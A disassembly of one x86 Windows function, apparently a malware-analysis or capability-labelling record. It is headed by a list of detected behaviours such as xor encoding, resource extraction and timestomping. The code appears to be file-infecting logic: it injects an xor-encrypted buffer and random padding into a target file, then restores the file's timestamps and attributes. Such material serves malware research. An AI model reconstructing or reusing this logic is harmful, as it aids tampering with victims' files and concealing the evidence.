Function at 0x4035e3
Capabilities:
Check if file exists
Copy file
Delete file
Encode data using xor
Extract resource via kernel32 functions
Get file attributes
Get file size
Move file
Set file attributes
Timestomp file

Disassembly:
enter 0x344, 1
push ebx
push esi
push edi
push 0x40a6d8
push 0x403c33
call fcn.00407f14
mov byte [ebp - 0x33e], 1
mov byte [ebp - 0x33f], 0
and dword [0x40b56c], 0
or edi, 0xffffffff
push 2
push 0
mov eax, dword [ebp + 8]
push eax
call sub.kernel32.dll_LoadLibraryExA
mov dword [ebp - 0x348], eax
mov eax, dword [ebp - 0x348]
test eax, eax
je 0x40374e
push 0
push 0x4035b8
push 3
mov eax, dword [ebp - 0x348]
push eax
call sub.kernel32.dll_EnumResourceNamesA
mov esi, dword [0x40b56c]
dec esi
mov eax, dword [ebp - 0x344]
and eax, 0
mov dword [ebp - 0x344], eax
jmp 0x4036c7
push 3
mov eax, dword [ebp - 0x344]
push dword [eax*4 + 0x40fb95]
mov eax, dword [ebp - 0x348]
push eax
call sub.kernel32.dll_FindResourceA
mov dword [ebp - 0x325], eax
cmp dword [ebp - 0x325], 0
je 0x4036ba
cmp edi, 0xffffffff
jne 0x4036ba
push dword [ebp - 0x325]
mov eax, dword [ebp - 0x348]
push eax
call sub.kernel32.dll_SizeofResource
mov dword [ebp - 0x315], eax
cmp dword [ebp - 0x315], 0xea8
jg 0x4036ba
mov edi, dword [ebp - 0x315]
jmp 0x4036d1
mov eax, dword [ebp - 0x344]
inc eax
mov dword [ebp - 0x344], eax
mov eax, dword [ebp - 0x344]
cmp esi, eax
jge 0x40365f
push 3
mov eax, dword [ebp - 0x344]
push dword [eax*4 + 0x40fb95]
mov eax, dword [ebp - 0x348]
push eax
call sub.kernel32.dll_FindResourceA
push eax
mov eax, dword [ebp - 0x348]
push eax
call sub.kernel32.dll_LoadResource
push eax
call sub.kernel32.dll_LockResource
mov dword [ebp - 0x309], eax
mov esi, edi
dec esi
and dword [ebp - 0x311], 0
jmp 0x40373a
mov ecx, dword [ebp - 0x309]
mov eax, dword [ebp - 0x311]
mov dl, byte [eax + ecx]
mov ecx, dword [0x40b71d]
mov eax, dword [ebp - 0x311]
add eax, 0x614
mov byte [eax + ecx], dl
inc dword [ebp - 0x311]
cmp esi, dword [ebp - 0x311]
jge 0x403711
mov eax, dword [ebp - 0x348]
push eax
call sub.kernel32.dll_FreeLibrary
lea eax, [ebp - 0x305]
push eax
mov eax, dword [ebp + 8]
push eax
call fcn.00406f06
call fcn.00407688
mov dword [ebp - 0x311], 1
push 0x14
call fcn.00407678
mov ebx, eax
add ebx, 0x41
lea eax, [ebp - 0x305]
push eax
call fcn.00406edc
sub eax, dword [ebp - 0x311]
mov byte [eax + ebp - 0x305], bl
inc dword [ebp - 0x311]
cmp dword [ebp - 0x311], 3
jle 0x40376d
push 0
lea eax, [ebp - 0x305]
push eax
mov eax, dword [ebp + 8]
push eax
call sub.kernel32.dll_CopyFileA
test eax, eax
jne 0x4037c9
lea eax, [ebp - 0x305]
push eax
mov eax, dword [ebp + 8]
push eax
call fcn.00406f06
jmp 0x4037d0
mov byte [ebp - 0x33f], 1
lea eax, [ebp - 0x305]
push eax
call sub.kernel32.dll_GetFileAttributesA
mov dword [ebp - 0x321], eax
push 0x20
lea eax, [ebp - 0x305]
push eax
call sub.kernel32.dll_SetFileAttributesA
push 2
lea eax, [ebp - 0x305]
push eax
call sub.kernel32.dll__lopen
mov dword [ebp - 0x348], eax
mov eax, dword [ebp - 0x348]
cmp eax, 0xffffffff
jne 0x403814
jmp 0x403b85
lea eax, [ebp - 0x335]
push eax
lea eax, [ebp - 0x33d]
push eax
lea eax, [ebp - 0x32d]
push eax
mov eax, dword [ebp - 0x348]
push eax
call sub.kernel32.dll_GetFileTime
push 0
mov eax, dword [ebp - 0x348]
push eax
call sub.kernel32.dll_GetFileSize
mov dword [0x40b554], eax
push 0x6d4e
push dword [0x40b721]
mov eax, dword [ebp - 0x348]
push eax
call sub.kernel32.dll__lread
cmp eax, 0xffffffff
jne 0x403869
jmp 0x403b85
push 0x100
call fcn.00407678
inc eax
mov ecx, dword [0x40b721]
mov byte [ecx], al
push 0x100
call fcn.00407678
inc eax
mov ecx, dword [0x40b721]
mov byte [ecx + 1], al
mov dword [ebp - 0x311], 1
push 0x100
call fcn.00407678
inc eax
mov ecx, dword [ebp - 0x311]
mov byte [ecx + 0x40b706], al
inc dword [ebp - 0x311]
cmp dword [ebp - 0x311], 0xa
jle 0x40389a
mov dword [ebp - 0x311], 1
mov ecx, dword [0x40b721]
mov eax, dword [ebp - 0x311]
add eax, 0xbb8
mov bl, byte [eax + ecx]
mov eax, dword [ebp - 0x311]
dec eax
mov ecx, 0xa
cdq
idiv ecx
inc edx
xor bl, byte [edx + 0x40b706]
mov ecx, dword [0x40b71d]
mov eax, dword [ebp - 0x311]
add eax, 0x261
mov byte [eax + ecx], bl
push 0x100
call fcn.00407678
mov edx, dword [0x40b721]
mov ecx, dword [ebp - 0x311]
add ecx, 0xbb8
mov byte [ecx + edx], al
inc dword [ebp - 0x311]
cmp dword [ebp - 0x311], 0x14
jle 0x4038ca
mov eax, dword [ebp - 0x344]
and eax, 0
mov dword [ebp - 0x344], eax
mov dword [ebp - 0x311], 1
mov eax, dword [ebp - 0x311]
movzx ecx, byte [eax + 0x40b706]
mov eax, dword [ebp - 0x344]
add ecx, eax
inc ecx
mov dword [ebp - 0x344], ecx
mov eax, dword [ebp - 0x311]
mov dl, byte [eax + 0x40b706]
mov ecx, dword [0x40b71d]
mov eax, dword [ebp - 0x311]
add eax, 0x2ac
mov byte [eax + ecx], dl
inc dword [ebp - 0x311]
cmp dword [ebp - 0x311], 0xa
jle 0x40394f
and dword [ebp - 0x311], 0
mov ecx, dword [0x40b721]
mov eax, dword [ebp - 0x311]
mov bl, byte [eax + ecx]
mov eax, dword [ebp - 0x311]
dec eax
mov ecx, 0xa
cdq
idiv ecx
inc edx
xor bl, byte [edx + 0x40b706]
movzx ebx, bl
mov eax, dword [ebp - 0x344]
imul dword [ebp - 0x311]
xor ebx, eax
mov ecx, dword [0x40b721]
mov eax, dword [ebp - 0x311]
mov byte [eax + ecx], bl
inc dword [ebp - 0x311]
cmp dword [ebp - 0x311], 0x6d4d
jle 0x4039a1
push 0
push dword [0x40b554]
mov eax, dword [ebp - 0x348]
push eax
call sub.kernel32.dll__llseek
cmp eax, 0xffffffff
jne 0x403a16
jmp 0x403b85
push 0x6d4e
push dword [0x40b721]
mov eax, dword [ebp - 0x348]
push eax
call sub.kernel32.dll__lwrite
cmp eax, 0xffffffff
jne 0x403a37
jmp 0x403b85
cmp edi, 0xffffffff
jne 0x403a4a
mov eax, dword [0x40b71d]
mov byte [eax + 0x614], 0
jmp 0x403a56
mov eax, dword [0x40b71d]
mov byte [eax + 0x614], 0x28
push 0
push 0
mov eax, dword [ebp - 0x348]
push eax
call sub.kernel32.dll__llseek
cmp eax, 0xffffffff
jne 0x403a70
jmp 0x403b85
push 0x6d4e
push dword [0x40b71d]
mov eax, dword [ebp - 0x348]
push eax
call sub.kernel32.dll__lwrite
cmp eax, 0xffffffff
jne 0x403a91
jmp 0x403b85
push 0xbb8
call fcn.00407678
add eax, 0x3e8
mov dword [ebp - 0x311], eax
mov esi, dword [ebp - 0x311]
mov eax, dword [ebp - 0x344]
and eax, 0
mov dword [ebp - 0x344], eax
jmp 0x403ae4
push 0xfe
call fcn.00407678
inc eax
mov edx, dword [0x40b721]
mov ecx, dword [ebp - 0x344]
mov byte [ecx + edx], al
mov eax, dword [ebp - 0x344]
inc eax
mov dword [ebp - 0x344], eax
mov eax, dword [ebp - 0x344]
cmp esi, eax
jge 0x403abd
push 2
push 0
mov eax, dword [ebp - 0x348]
push eax
call sub.kernel32.dll__llseek
cmp eax, 0xffffffff
jne 0x403b08
jmp 0x403b85
push dword [ebp - 0x311]
push dword [0x40b721]
mov eax, dword [ebp - 0x348]
push eax
call sub.kernel32.dll__lwrite
cmp eax, 0xffffffff
jne 0x403b27
jmp 0x403b85
push 0
push 0x300
mov eax, dword [ebp - 0x348]
push eax
call sub.kernel32.dll__llseek
cmp eax, 0xffffffff
jne 0x403b41
jmp 0x403b85
push 2
lea eax, [ebp - 0x311]
push eax
mov eax, dword [ebp - 0x348]
push eax
call sub.kernel32.dll__lwrite
cmp eax, 0xffffffff
jne 0x403b5d
jmp 0x403b85
lea eax, [ebp - 0x335]
push eax
lea eax, [ebp - 0x33d]
push eax
lea eax, [ebp - 0x32d]
push eax
mov eax, dword [ebp - 0x348]
push eax
call sub.kernel32.dll_SetFileTime
mov byte [ebp - 0x33e], 0
mov eax, dword [ebp - 0x348]
push eax
call sub.kernel32.dll__lclose
cmp byte [ebp - 0x33e], 0
je 0x403baf
cmp byte [ebp - 0x33f], 0
je 0x403baf
lea eax, [ebp - 0x305]
push eax
call sub.kernel32.dll_DeleteFileA
cmp byte [ebp - 0x33f], 0
je 0x403bf3
push 0x20
mov eax, dword [ebp + 8]
push eax
call sub.kernel32.dll_SetFileAttributesA
mov eax, dword [ebp + 8]
push eax
call sub.kernel32.dll_DeleteFileA
mov eax, dword [ebp + 8]
push eax
lea eax, [ebp - 0x305]
push eax
call sub.kernel32.dll_MoveFileA
test eax, eax
jne 0x403bf3
lea eax, [ebp - 0x305]
push eax
call sub.kernel32.dll_DeleteFileA
mov byte [ebp - 0x33e], 1
push dword [ebp - 0x321]
mov eax, dword [ebp + 8]
push eax
call sub.kernel32.dll_SetFileAttributesA
cmp byte [ebp - 0x33e], 0
jne 0x403c11
inc dword [0x40b564]
push 0x2710
call sub.kernel32.dll_Sleep
xor eax, eax
pop dword fs:[eax]
add esp, 8
push 0x403c3a
push 0x40a6d8
call fcn.00407f68
ret